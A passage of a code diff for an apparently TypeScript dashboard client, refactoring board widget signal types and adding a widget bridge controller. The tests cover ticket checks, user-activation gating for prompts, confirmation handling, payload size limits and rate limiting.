now = 6_000;
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-1",
|
||||
});
|
||||
await expect(provider.refreshWidgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-2",
|
||||
});
|
||||
expect(request.mock.calls.filter(([method]) => method === "board.widget.appView")).toHaveLength(
|
||||
2,
|
||||
);
|
||||
});
|
||||
|
||||
it("does not reuse a cached MCP App lease for a same-name replacement", async () => {
|
||||
const cache = new BoardMcpAppViewCache();
|
||||
const widget = {
|
||||
name: "server-app",
|
||||
tabId: "main",
|
||||
contentKind: "mcp-app" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none" as const,
|
||||
revision: 1,
|
||||
instanceId: "instance-a",
|
||||
};
|
||||
const request = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce({ viewId: "view-a", expiresAtMs: Date.now() + 60_000 })
|
||||
.mockResolvedValueOnce({ viewId: "view-b", expiresAtMs: Date.now() + 60_000 });
|
||||
|
||||
await expect(cache.resolve(widget, request, false)).resolves.toMatchObject({
|
||||
viewId: "view-a",
|
||||
});
|
||||
await expect(
|
||||
cache.resolve({ ...widget, instanceId: "instance-b" }, request, false),
|
||||
).resolves.toMatchObject({ viewId: "view-b" });
|
||||
expect(request).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("contains MCP App re-mint failures as stale widget state and retries on demand", async () => {
|
||||
mockLocation.search = "";
|
||||
const snapshot = {
|
||||
sessionKey: "agent:main:stale-app",
|
||||
revision: 1,
|
||||
tabs: [{ tabId: "main", title: "Main", position: 0, chatDock: "right" as const }],
|
||||
widgets: [
|
||||
{
|
||||
name: "server-app",
|
||||
tabId: "main",
|
||||
contentKind: "mcp-app" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none" as const,
|
||||
revision: 1,
|
||||
instanceId: "stale-app-instance",
|
||||
},
|
||||
],
|
||||
};
|
||||
let attempts = 0;
|
||||
const request = vi.fn(async (method: string) => {
|
||||
if (method === "board.get") {
|
||||
return snapshot;
|
||||
}
|
||||
attempts += 1;
|
||||
if (attempts === 1) {
|
||||
throw new Error("origin transcript pruned");
|
||||
}
|
||||
return { viewId: "mcp-app-restored", expiresAtMs: Date.now() + 60_000 };
|
||||
});
|
||||
const provider = new GatewayBoardProvider("agent:main:stale-app", {
|
||||
request: request as never,
|
||||
addEventListener: () => () => {},
|
||||
});
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value.revision).toBe(1));
|
||||
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toEqual({
|
||||
status: "stale",
|
||||
error: "origin transcript pruned",
|
||||
});
|
||||
await expect(provider.refreshWidgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-restored",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -5,6 +5,7 @@ import type {
|
||||
BoardOp,
|
||||
BoardSnapshot,
|
||||
BoardWidgetAppViewResult,
|
||||
BoardWidget,
|
||||
} from "@openclaw/gateway-protocol";
|
||||
import type { GatewayBrowserClient } from "../../api/gateway.ts";
|
||||
import { t } from "../../i18n/index.ts";
|
||||
@@ -14,9 +15,21 @@ import {
|
||||
} from "../sessions/session-key.ts";
|
||||
import { BoardMcpAppViewCache } from "./mcp-app-view-cache.ts";
|
||||
import { applyMockBoardOp, normalizeMockBoardSnapshot } from "./mock-ops.ts";
|
||||
import {
|
||||
EventStream,
|
||||
ValueSignal,
|
||||
type BoardEventStream,
|
||||
type BoardSnapshotSignal,
|
||||
} from "./provider-signals.ts";
|
||||
import type { BoardWidgetAppViewState } from "./view-types.ts";
|
||||
import { canvasWidgetNameForDocument, mcpAppWidgetNameForViewId } from "./widget-names.ts";
|
||||
import {
|
||||
copyBoardWidgetTicketReceipt,
|
||||
recordBoardWidgetTicketReceipt,
|
||||
} from "./widget-ticket-lifetime.ts";
|
||||
export type { BoardCommandEvent };
|
||||
export type { BoardViewCallbacks, BoardWidgetAppViewState } from "./view-types.ts";
|
||||
export { canvasWidgetNameForDocument, mcpAppWidgetNameForViewId } from "./widget-names.ts";
|
||||
|
||||
type BoardGatewayClient = Pick<GatewayBrowserClient, "request" | "addEventListener">;
|
||||
|
||||
@@ -31,20 +44,11 @@ type BoardPinPlacement = {
|
||||
type BoardPinWidgetInput = BoardPinPlacement & { docId: string };
|
||||
type BoardPinMcpAppInput = BoardPinPlacement & { viewId: string };
|
||||
|
||||
type BoardSnapshotSignal = {
|
||||
readonly value: BoardSnapshot;
|
||||
subscribe(listener: () => void): () => void;
|
||||
};
|
||||
|
||||
type BoardEventStream = {
|
||||
subscribe(listener: (event: BoardCommandEvent) => void): () => void;
|
||||
};
|
||||
|
||||
export type BoardProvider = {
|
||||
readonly sessionKey: string;
|
||||
readonly canPinWidgets: boolean;
|
||||
readonly canPinMcpApps: boolean;
|
||||
readonly snapshot$: BoardSnapshotSignal;
|
||||
readonly snapshot$: BoardSnapshotSignal<BoardSnapshot>;
|
||||
applyOps(ops: BoardOp[]): Promise<void>;
|
||||
grant(name: string, decision: "granted" | "rejected"): Promise<void>;
|
||||
pinWidget(input: BoardPinWidgetInput): Promise<void>;
|
||||
@@ -53,64 +57,9 @@ export type BoardProvider = {
|
||||
refreshWidgetFrame(name: string): Promise<void>;
|
||||
widgetAppView(name: string, revision: number): Promise<BoardWidgetAppViewState>;
|
||||
refreshWidgetAppView(name: string, revision: number): Promise<BoardWidgetAppViewState>;
|
||||
readonly events: BoardEventStream;
|
||||
readonly events: BoardEventStream<BoardCommandEvent>;
|
||||
};
|
||||
|
||||
function hashWidgetIdentity(value: string): string {
|
||||
let hash = 0xcbf29ce484222325n;
|
||||
for (const byte of new TextEncoder().encode(value)) {
|
||||
hash ^= BigInt(byte);
|
||||
hash = BigInt.asUintN(64, hash * 0x100000001b3n);
|
||||
}
|
||||
return hash.toString(16).padStart(16, "0");
|
||||
}
|
||||
|
||||
export function canvasWidgetNameForDocument(docId: string): string {
|
||||
const name = `canvas-${docId.toLowerCase().replace(/[^a-z0-9._-]/gu, "-")}`;
|
||||
if (name === `canvas-${docId}` && name.length <= 64) {
|
||||
return name;
|
||||
}
|
||||
const prefix = name.slice(0, 47).replace(/[._-]+$/gu, "") || "canvas-widget";
|
||||
return `${prefix}-${hashWidgetIdentity(docId)}`;
|
||||
}
|
||||
|
||||
export function mcpAppWidgetNameForViewId(viewId: string): string {
|
||||
return `mcp-app-${hashWidgetIdentity(viewId)}`;
|
||||
}
|
||||
|
||||
class ValueSignal<T> {
|
||||
private readonly listeners = new Set<() => void>();
|
||||
|
||||
constructor(public value: T) {}
|
||||
|
||||
subscribe(listener: () => void): () => void {
|
||||
this.listeners.add(listener);
|
||||
return () => this.listeners.delete(listener);
|
||||
}
|
||||
|
||||
set(value: T): void {
|
||||
this.value = value;
|
||||
for (const listener of this.listeners) {
|
||||
listener();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
class EventStream<T> {
|
||||
private readonly listeners = new Set<(event: T) => void>();
|
||||
|
||||
subscribe(listener: (event: T) => void): () => void {
|
||||
this.listeners.add(listener);
|
||||
return () => this.listeners.delete(listener);
|
||||
}
|
||||
|
||||
emit(event: T): void {
|
||||
for (const listener of this.listeners) {
|
||||
listener(event);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function emptySnapshot(sessionKey: string): BoardSnapshot {
|
||||
return { sessionKey, revision: 0, tabs: [], widgets: [] };
|
||||
}
|
||||
@@ -178,8 +127,8 @@ export function boardExists(snapshot: BoardSnapshot): boolean {
|
||||
class NullProvider implements BoardProvider {
|
||||
readonly canPinWidgets = false;
|
||||
readonly canPinMcpApps = false;
|
||||
readonly snapshot$: BoardSnapshotSignal;
|
||||
readonly events: BoardEventStream = new EventStream<BoardCommandEvent>();
|
||||
readonly snapshot$: BoardSnapshotSignal<BoardSnapshot>;
|
||||
readonly events: BoardEventStream<BoardCommandEvent> = new EventStream<BoardCommandEvent>();
|
||||
|
||||
constructor(readonly sessionKey = "") {
|
||||
this.snapshot$ = new ValueSignal(emptySnapshot(sessionKey));
|
||||
@@ -215,8 +164,8 @@ class NullProvider implements BoardProvider {
|
||||
class MockBoardProvider implements BoardProvider {
|
||||
readonly canPinWidgets = true;
|
||||
readonly canPinMcpApps = true;
|
||||
readonly snapshot$: BoardSnapshotSignal;
|
||||
readonly events: BoardEventStream;
|
||||
readonly snapshot$: BoardSnapshotSignal<BoardSnapshot>;
|
||||
readonly events: BoardEventStream<BoardCommandEvent>;
|
||||
private readonly snapshotSignal: ValueSignal<BoardSnapshot>;
|
||||
private readonly eventStream = new EventStream<BoardCommandEvent>();
|
||||
|
||||
@@ -345,8 +294,8 @@ class MockBoardProvider implements BoardProvider {
|
||||
}
|
||||
|
||||
export class GatewayBoardProvider implements BoardProvider {
|
||||
readonly snapshot$: BoardSnapshotSignal;
|
||||
readonly events: BoardEventStream;
|
||||
readonly snapshot$: BoardSnapshotSignal<BoardSnapshot>;
|
||||
readonly events: BoardEventStream<BoardCommandEvent>;
|
||||
private readonly snapshotSignal: ValueSignal<BoardSnapshot>;
|
||||
private readonly eventStream = new EventStream<BoardCommandEvent>();
|
||||
private client: BoardGatewayClient;
|
||||
@@ -648,7 +597,7 @@ export class GatewayBoardProvider implements BoardProvider {
|
||||
stateGeneration === this.stateGeneration
|
||||
) {
|
||||
this.stateGeneration += 1;
|
||||
this.setSnapshot(snapshot, changedWidget ? new Set([changedWidget]) : new Set());
|
||||
this.setSnapshot(snapshot, changedWidget ? new Set([changedWidget]) : new Set(), true);
|
||||
}
|
||||
} catch (error) {
|
||||
if (
|
||||
@@ -662,21 +611,45 @@ export class GatewayBoardProvider implements BoardProvider {
|
||||
}
|
||||
}
|
||||
|
||||
private setSnapshot(snapshot: BoardSnapshot, changedWidgets = new Set<string>()): void {
|
||||
private setSnapshot(
|
||||
snapshot: BoardSnapshot,
|
||||
changedWidgets = new Set<string>(),
|
||||
preserveMissingViewContracts = false,
|
||||
): void {
|
||||
const receivedAtMs = Date.now();
|
||||
const previousWidgets = new Map(
|
||||
this.snapshotSignal.value.widgets.map((widget) => [widget.name, widget]),
|
||||
);
|
||||
const widgets = snapshot.widgets.map((widget) => {
|
||||
const previous = previousWidgets.get(widget.name);
|
||||
if (
|
||||
preserveMissingViewContracts &&
|
||||
previous &&
|
||||
!changedWidgets.has(widget.name) &&
|
||||
previous.revision === widget.revision &&
|
||||
previous.instanceId === widget.instanceId &&
|
||||
widget.viewGeneration === undefined
|
||||
) {
|
||||
// Mutation snapshots contain board state but not the view contract minted
|
||||
// by board.get. Keep that contract only while the document revision matches.
|
||||
const preserved = preserveBoardWidgetViewContract(widget, previous);
|
||||
copyBoardWidgetTicketReceipt(preserved, previous, receivedAtMs);
|
||||
return preserved;
|
||||
}
|
||||
if (
|
||||
previous &&
|
||||
!changedWidgets.has(widget.name) &&
|
||||
previous.revision === widget.revision &&
|
||||
previous.instanceId === widget.instanceId &&
|
||||
previous.viewGeneration === widget.viewGeneration &&
|
||||
!widget.sandboxUrl &&
|
||||
previous.frameUrl
|
||||
) {
|
||||
return { ...widget, frameUrl: previous.frameUrl };
|
||||
const preserved = { ...widget, frameUrl: previous.frameUrl };
|
||||
recordBoardWidgetTicketReceipt(preserved, receivedAtMs);
|
||||
return preserved;
|
||||
}
|
||||
recordBoardWidgetTicketReceipt(widget, receivedAtMs);
|
||||
return widget;
|
||||
});
|
||||
this.appViews.prune(widgets);
|
||||
@@ -684,6 +657,21 @@ export class GatewayBoardProvider implements BoardProvider {
|
||||
}
|
||||
}
|
||||
|
||||
function preserveBoardWidgetViewContract(widget: BoardWidget, previous: BoardWidget): BoardWidget {
|
||||
return {
|
||||
...widget,
|
||||
...(previous.frameUrl !== undefined ? { frameUrl: previous.frameUrl } : {}),
|
||||
...(previous.viewTicket !== undefined ? { viewTicket: previous.viewTicket } : {}),
|
||||
...(previous.viewTicketTtlMs !== undefined
|
||||
? { viewTicketTtlMs: previous.viewTicketTtlMs }
|
||||
: {}),
|
||||
...(previous.viewGeneration !== undefined ? { viewGeneration: previous.viewGeneration } : {}),
|
||||
...(previous.sandboxUrl !== undefined ? { sandboxUrl: previous.sandboxUrl } : {}),
|
||||
...(previous.sandboxPort !== undefined ? { sandboxPort: previous.sandboxPort } : {}),
|
||||
...(previous.sandboxOrigin !== undefined ? { sandboxOrigin: previous.sandboxOrigin } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
const nullProviders = new Map<string, NullProvider>();
|
||||
const mockProviders = new Map<string, MockBoardProvider>();
|
||||
const gatewayProviders = new Map<string, GatewayBoardProvider>();
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { BoardWidgetBridgeController } from "./widget-bridge.ts";
|
||||
|
||||
type BoardWidgetBridgeRequest = Parameters<BoardWidgetBridgeController["handle"]>[0];
|
||||
|
||||
function request(method: string, params: Record<string, unknown>): BoardWidgetBridgeRequest {
|
||||
return {
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: crypto.randomUUID(),
|
||||
method,
|
||||
params,
|
||||
ticket: "ticket",
|
||||
};
|
||||
}
|
||||
|
||||
function setup(
|
||||
options: {
|
||||
confirmationRequired?: boolean;
|
||||
omitPromptDecision?: boolean;
|
||||
now?: () => number;
|
||||
} = {},
|
||||
) {
|
||||
const client = {
|
||||
request: vi.fn<(method: string, params: Record<string, unknown>) => Promise<unknown>>(
|
||||
async (method) =>
|
||||
method === "board.prompt.authorize"
|
||||
? options.omitPromptDecision
|
||||
? {}
|
||||
: { confirmationRequired: options.confirmationRequired === true }
|
||||
: { ok: true },
|
||||
),
|
||||
};
|
||||
const confirmPrompt = vi.fn(() => true);
|
||||
const dispatchPrompt = vi.fn(() => true);
|
||||
const controller = new BoardWidgetBridgeController({
|
||||
frame: document.createElement("iframe"),
|
||||
ticket: "ticket",
|
||||
client,
|
||||
rateKey: "widget",
|
||||
confirmPrompt,
|
||||
dispatchPrompt,
|
||||
now: options.now,
|
||||
});
|
||||
return { client, confirmPrompt, dispatchPrompt, controller };
|
||||
}
|
||||
|
||||
describe("board widget bridge", () => {
|
||||
it("asks for per-click confirmation when prompt is not granted", async () => {
|
||||
const { controller, confirmPrompt, dispatchPrompt } = setup({ confirmationRequired: true });
|
||||
|
||||
await controller.handle(request("prompt.send", { text: "Show details" }), {
|
||||
promptUserActivated: true,
|
||||
});
|
||||
|
||||
expect(dispatchPrompt).toHaveBeenCalledWith(
|
||||
expect.any(HTMLIFrameElement),
|
||||
"Show details",
|
||||
"widget",
|
||||
confirmPrompt,
|
||||
);
|
||||
});
|
||||
|
||||
it("skips the prompt confirmation callback only when granted", async () => {
|
||||
const { controller, confirmPrompt, dispatchPrompt } = setup();
|
||||
|
||||
await controller.handle(request("prompt.send", { text: "Show details" }), {
|
||||
promptUserActivated: true,
|
||||
});
|
||||
|
||||
expect(confirmPrompt).not.toHaveBeenCalled();
|
||||
expect(dispatchPrompt).toHaveBeenCalledWith(
|
||||
expect.any(HTMLIFrameElement),
|
||||
"Show details",
|
||||
"widget",
|
||||
undefined,
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps confirmation when the authorization response omits its decision", async () => {
|
||||
const { controller, confirmPrompt, dispatchPrompt } = setup({ omitPromptDecision: true });
|
||||
|
||||
await controller.handle(request("prompt.send", { text: "Show details" }), {
|
||||
promptUserActivated: true,
|
||||
});
|
||||
|
||||
expect(dispatchPrompt).toHaveBeenCalledWith(
|
||||
expect.any(HTMLIFrameElement),
|
||||
"Show details",
|
||||
"widget",
|
||||
confirmPrompt,
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects a forged prompt bridge request without trusted user activation", async () => {
|
||||
const { controller, client, dispatchPrompt } = setup();
|
||||
|
||||
await expect(controller.handle(request("prompt.send", { text: "Forged" }))).rejects.toThrow(
|
||||
"active user interaction",
|
||||
);
|
||||
|
||||
expect(client.request).not.toHaveBeenCalled();
|
||||
expect(dispatchPrompt).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("cancels prompt dispatch when the widget identity changes during authorization", async () => {
|
||||
const { controller, client, dispatchPrompt } = setup();
|
||||
let resolveAuthorization: (value: unknown) => void = () => {};
|
||||
client.request.mockImplementationOnce(
|
||||
async () =>
|
||||
await new Promise((resolve) => {
|
||||
resolveAuthorization = resolve;
|
||||
}),
|
||||
);
|
||||
let current = true;
|
||||
const handling = controller.handle(request("prompt.send", { text: "Stale prompt" }), {
|
||||
promptUserActivated: true,
|
||||
isCurrent: () => current,
|
||||
});
|
||||
await vi.waitFor(() => expect(client.request).toHaveBeenCalledOnce());
|
||||
|
||||
current = false;
|
||||
resolveAuthorization({ confirmationRequired: false });
|
||||
|
||||
await expect(handling).rejects.toThrow("no longer current");
|
||||
expect(dispatchPrompt).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("coalesces identical state payloads for five seconds", async () => {
|
||||
let nowMs = 1_000;
|
||||
const { controller, client } = setup({ now: () => nowMs });
|
||||
|
||||
await controller.handle(request("state.emit", { payload: { count: 1 } }));
|
||||
expect(await controller.handle(request("state.emit", { payload: { count: 1 } }))).toEqual({
|
||||
ok: true,
|
||||
appended: false,
|
||||
coalesced: true,
|
||||
});
|
||||
nowMs += 5_000;
|
||||
await controller.handle(request("state.emit", { payload: { count: 1 } }));
|
||||
|
||||
expect(client.request).toHaveBeenCalledTimes(2);
|
||||
expect(client.request).toHaveBeenNthCalledWith(1, "board.event", {
|
||||
ticket: "ticket",
|
||||
payload: { count: 1 },
|
||||
});
|
||||
});
|
||||
|
||||
it("coalesces an identical state payload across interleaved emissions", async () => {
|
||||
const { controller, client } = setup({ now: () => 1_000 });
|
||||
|
||||
await controller.handle(request("state.emit", { payload: { status: "first" } }));
|
||||
await controller.handle(request("state.emit", { payload: { status: "second" } }));
|
||||
expect(
|
||||
await controller.handle(request("state.emit", { payload: { status: "first" } })),
|
||||
).toEqual({ ok: true, appended: false, coalesced: true });
|
||||
|
||||
expect(client.request).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("rejects state payloads above 8KB before the gateway call", async () => {
|
||||
const { controller, client } = setup();
|
||||
|
||||
await expect(
|
||||
controller.handle(request("state.emit", { payload: "x".repeat(8_193) })),
|
||||
).rejects.toThrow("exceeds 8192");
|
||||
expect(client.request).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("allows a state payload to retry after delivery fails", async () => {
|
||||
const { controller, client } = setup();
|
||||
client.request.mockRejectedValueOnce(new Error("offline"));
|
||||
|
||||
await expect(
|
||||
controller.handle(request("state.emit", { payload: { count: 1 } })),
|
||||
).rejects.toThrow("offline");
|
||||
await expect(
|
||||
controller.handle(request("state.emit", { payload: { count: 1 } })),
|
||||
).resolves.toEqual({ ok: true });
|
||||
|
||||
expect(client.request).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("rate-limits varying state payloads at the trusted host", async () => {
|
||||
let nowMs = 1_000;
|
||||
const { controller, client } = setup({ now: () => nowMs });
|
||||
|
||||
for (let count = 0; count < 12; count += 1) {
|
||||
await controller.handle(request("state.emit", { payload: { count } }));
|
||||
}
|
||||
await expect(
|
||||
controller.handle(request("state.emit", { payload: { count: 12 } })),
|
||||
).rejects.toThrow("rate limit exceeded");
|
||||
|
||||
nowMs += 60_000;
|
||||
await expect(
|
||||
controller.handle(request("state.emit", { payload: { count: 13 } })),
|
||||
).resolves.toEqual({ ok: true });
|
||||
|
||||
expect(client.request).toHaveBeenCalledTimes(13);
|
||||
});
|
||||
|
||||
it("maps read and cron requests to ticket-bound board RPCs", async () => {
|
||||
const { controller, client } = setup();
|
||||
|
||||
await controller.handle(
|
||||
request("data.read", { bindingId: "health", params: { probe: false } }),
|
||||
);
|
||||
await controller.handle(request("cron.trigger", { jobId: "job-1" }));
|
||||
|
||||
expect(client.request).toHaveBeenNthCalledWith(1, "board.data.read", {
|
||||
ticket: "ticket",
|
||||
bindingId: "health",
|
||||
params: { probe: false },
|
||||
});
|
||||
expect(client.request).toHaveBeenNthCalledWith(2, "board.action", {
|
||||
ticket: "ticket",
|
||||
action: "cron.trigger",
|
||||
jobId: "job-1",
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,187 @@
|
||||
import { dispatchWidgetPrompt } from "../../components/mcp-app-security.ts";
|
||||
|
||||
type BoardWidgetBridgeRequest = {
|
||||
type: "openclaw:widget-bridge-request";
|
||||
id: string;
|
||||
method: string;
|
||||
params: unknown;
|
||||
ticket: string;
|
||||
};
|
||||
|
||||
export type BoardWidgetBridgeGatewayClient = {
|
||||
request: (method: string, params: Record<string, unknown>) => Promise<unknown>;
|
||||
};
|
||||
|
||||
type PromptDispatcher = typeof dispatchWidgetPrompt;
|
||||
|
||||
const STATE_PAYLOAD_MAX_BYTES = 8 * 1024;
|
||||
const STATE_COALESCE_WINDOW_MS = 5_000;
|
||||
const STATE_RATE_WINDOW_MS = 60_000;
|
||||
const STATE_RATE_MAX_ATTEMPTS = 12;
|
||||
|
||||
export function isBoardWidgetBridgeRequest(value: unknown): value is BoardWidgetBridgeRequest {
|
||||
if (!value || typeof value !== "object") {
|
||||
return false;
|
||||
}
|
||||
const request = value as Partial<BoardWidgetBridgeRequest>;
|
||||
return (
|
||||
request.type === "openclaw:widget-bridge-request" &&
|
||||
typeof request.id === "string" &&
|
||||
request.id.length > 0 &&
|
||||
request.id.length <= 128 &&
|
||||
typeof request.method === "string" &&
|
||||
typeof request.ticket === "string"
|
||||
);
|
||||
}
|
||||
|
||||
function asRecord(value: unknown): Record<string, unknown> {
|
||||
if (!value || typeof value !== "object" || Array.isArray(value)) {
|
||||
throw new Error("widget host request params are invalid");
|
||||
}
|
||||
return value as Record<string, unknown>;
|
||||
}
|
||||
|
||||
function requiredString(params: Record<string, unknown>, key: string): string {
|
||||
const value = params[key];
|
||||
if (typeof value !== "string" || value.length === 0) {
|
||||
throw new Error(`widget host request ${key} is required`);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
export class BoardWidgetBridgeController {
|
||||
private frame: HTMLIFrameElement;
|
||||
private ticket: string;
|
||||
private readonly client: BoardWidgetBridgeGatewayClient;
|
||||
private readonly rateKey: string;
|
||||
private readonly confirmPrompt: (text: string) => boolean;
|
||||
private readonly dispatchPrompt: PromptDispatcher;
|
||||
private readonly now: () => number;
|
||||
private readonly recentStatePayloads = new Map<string, number>();
|
||||
private readonly pendingStates = new Map<string, Promise<unknown>>();
|
||||
private stateAttemptTimes: number[] = [];
|
||||
|
||||
constructor(options: {
|
||||
frame: HTMLIFrameElement;
|
||||
ticket: string;
|
||||
client: BoardWidgetBridgeGatewayClient;
|
||||
rateKey: string;
|
||||
confirmPrompt: (text: string) => boolean;
|
||||
dispatchPrompt?: PromptDispatcher;
|
||||
now?: () => number;
|
||||
}) {
|
||||
this.frame = options.frame;
|
||||
this.ticket = options.ticket;
|
||||
this.client = options.client;
|
||||
this.rateKey = options.rateKey;
|
||||
this.confirmPrompt = options.confirmPrompt;
|
||||
this.dispatchPrompt = options.dispatchPrompt ?? dispatchWidgetPrompt;
|
||||
this.now = options.now ?? Date.now;
|
||||
}
|
||||
|
||||
updateIdentity(frame: HTMLIFrameElement, ticket: string): void {
|
||||
this.frame = frame;
|
||||
this.ticket = ticket;
|
||||
}
|
||||
|
||||
private async emitState(payload: unknown): Promise<unknown> {
|
||||
const serialized = JSON.stringify(payload);
|
||||
if (serialized === undefined) {
|
||||
throw new Error("widget state payload must be JSON");
|
||||
}
|
||||
const bytes = new TextEncoder().encode(serialized).byteLength;
|
||||
if (bytes > STATE_PAYLOAD_MAX_BYTES) {
|
||||
throw new Error(`widget state payload exceeds ${STATE_PAYLOAD_MAX_BYTES} UTF-8 bytes`);
|
||||
}
|
||||
const nowMs = this.now();
|
||||
for (const [recentPayload, emittedAtMs] of this.recentStatePayloads) {
|
||||
if (nowMs - emittedAtMs >= STATE_COALESCE_WINDOW_MS) {
|
||||
this.recentStatePayloads.delete(recentPayload);
|
||||
}
|
||||
}
|
||||
if (this.recentStatePayloads.has(serialized)) {
|
||||
return { ok: true, appended: false, coalesced: true };
|
||||
}
|
||||
const pendingState = this.pendingStates.get(serialized);
|
||||
if (pendingState) {
|
||||
return await pendingState;
|
||||
}
|
||||
this.stateAttemptTimes = this.stateAttemptTimes.filter(
|
||||
(attemptAtMs) => nowMs - attemptAtMs < STATE_RATE_WINDOW_MS,
|
||||
);
|
||||
if (this.stateAttemptTimes.length >= STATE_RATE_MAX_ATTEMPTS) {
|
||||
throw new Error("widget state emission rate limit exceeded");
|
||||
}
|
||||
this.stateAttemptTimes.push(nowMs);
|
||||
const request = this.client.request("board.event", { ticket: this.ticket, payload });
|
||||
this.pendingStates.set(serialized, request);
|
||||
try {
|
||||
const result = await request;
|
||||
this.recentStatePayloads.set(serialized, this.now());
|
||||
return result;
|
||||
} finally {
|
||||
if (this.pendingStates.get(serialized) === request) {
|
||||
this.pendingStates.delete(serialized);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async handle(
|
||||
request: BoardWidgetBridgeRequest,
|
||||
options: { promptUserActivated?: boolean; isCurrent?: () => boolean } = {},
|
||||
): Promise<unknown> {
|
||||
if (request.ticket !== this.ticket) {
|
||||
throw new Error("widget view ticket does not match the active frame");
|
||||
}
|
||||
const params = asRecord(request.params);
|
||||
switch (request.method) {
|
||||
case "prompt.send": {
|
||||
if (options.promptUserActivated !== true) {
|
||||
throw new Error("widget prompt requires active user interaction");
|
||||
}
|
||||
const text = requiredString(params, "text");
|
||||
const authorization = (await this.client.request("board.prompt.authorize", {
|
||||
ticket: this.ticket,
|
||||
})) as { confirmationRequired?: boolean };
|
||||
if (options.isCurrent?.() === false) {
|
||||
throw new Error("widget prompt request is no longer current");
|
||||
}
|
||||
const accepted = this.dispatchPrompt(
|
||||
this.frame,
|
||||
text,
|
||||
this.rateKey,
|
||||
authorization.confirmationRequired === false ? undefined : this.confirmPrompt,
|
||||
);
|
||||
if (!accepted) {
|
||||
throw new Error("widget prompt was not accepted");
|
||||
}
|
||||
return { ok: true };
|
||||
}
|
||||
case "state.emit":
|
||||
return await this.emitState(params.payload);
|
||||
case "data.read": {
|
||||
const bindingId = requiredString(params, "bindingId");
|
||||
const bindingParams = params.params;
|
||||
if (
|
||||
bindingParams !== undefined &&
|
||||
(!bindingParams || typeof bindingParams !== "object" || Array.isArray(bindingParams))
|
||||
) {
|
||||
throw new Error("widget data binding params are invalid");
|
||||
}
|
||||
return await this.client.request("board.data.read", {
|
||||
ticket: this.ticket,
|
||||
bindingId,
|
||||
...(bindingParams ? { params: bindingParams as Record<string, unknown> } : {}),
|
||||
});
|
||||
}
|
||||
case "cron.trigger":
|
||||
return await this.client.request("board.action", {
|
||||
ticket: this.ticket,
|
||||
action: "cron.trigger",
|
||||
jobId: requiredString(params, "jobId"),
|
||||
});
|
||||
default:
|
||||
throw new Error(`widget host method is not supported: ${request.method}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
function hashWidgetIdentity(value: string): string {
|
||||
let hash = 0xcbf29ce484222325n;
|
||||
for (const byte of new TextEncoder().encode(value)) {
|
||||
hash ^= BigInt(byte);
|
||||
hash = BigInt.asUintN(64, hash * 0x100000001b3n);
|
||||
}
|
||||
return hash.toString(16).padStart(16, "0");
|
||||
}
|
||||
|
||||
export function canvasWidgetNameForDocument(docId: string): string {
|
||||
const name = `canvas-${docId.toLowerCase().replace(/[^a-z0-9._-]/gu, "-")}`;
|
||||
if (name === `canvas-${docId}` && name.length <= 64) {
|
||||
return name;
|
||||
}
|
||||
const prefix = name.slice(0, 47).replace(/[._-]+$/gu, "") || "canvas-widget";
|
||||
return `${prefix}-${hashWidgetIdentity(docId)}`;
|
||||
}
|
||||
|
||||
export function mcpAppWidgetNameForViewId(viewId: string): string {
|
||||
return `mcp-app-${hashWidgetIdentity(viewId)}`;
|
||||
}
|
||||
@@ -0,0 +1,861 @@
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import type { BoardWidget } from "./types.ts";
|
||||
import { BoardWidgetSandboxHost } from "./widget-sandbox-host.ts";
|
||||
|
||||
const SANDBOX_URL = "https://sandbox.example/mcp-app-sandbox";
|
||||
|
||||
function widget(): BoardWidget {
|
||||
return {
|
||||
name: "weather",
|
||||
tabId: "main",
|
||||
contentKind: "html",
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "granted",
|
||||
revision: 2,
|
||||
viewTicket: "ticket",
|
||||
viewGeneration: "a".repeat(32),
|
||||
};
|
||||
}
|
||||
|
||||
async function offerBridgePort(
|
||||
host: BoardWidgetSandboxHost,
|
||||
frame: HTMLIFrameElement,
|
||||
onHostMessage?: (event: MessageEvent) => void,
|
||||
): Promise<MessagePort> {
|
||||
const channel = new MessageChannel();
|
||||
let initialTicketAdopted = false;
|
||||
const initialized = new Promise<void>((resolve) => {
|
||||
channel.port2.addEventListener("message", (event) => {
|
||||
onHostMessage?.(event);
|
||||
if (
|
||||
!initialTicketAdopted &&
|
||||
event.data?.type === "openclaw:widget-host-init" &&
|
||||
typeof event.data.ticket === "string"
|
||||
) {
|
||||
initialTicketAdopted = true;
|
||||
channel.port2.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-host-init-ack",
|
||||
ticket: event.data.ticket,
|
||||
},
|
||||
[],
|
||||
);
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
});
|
||||
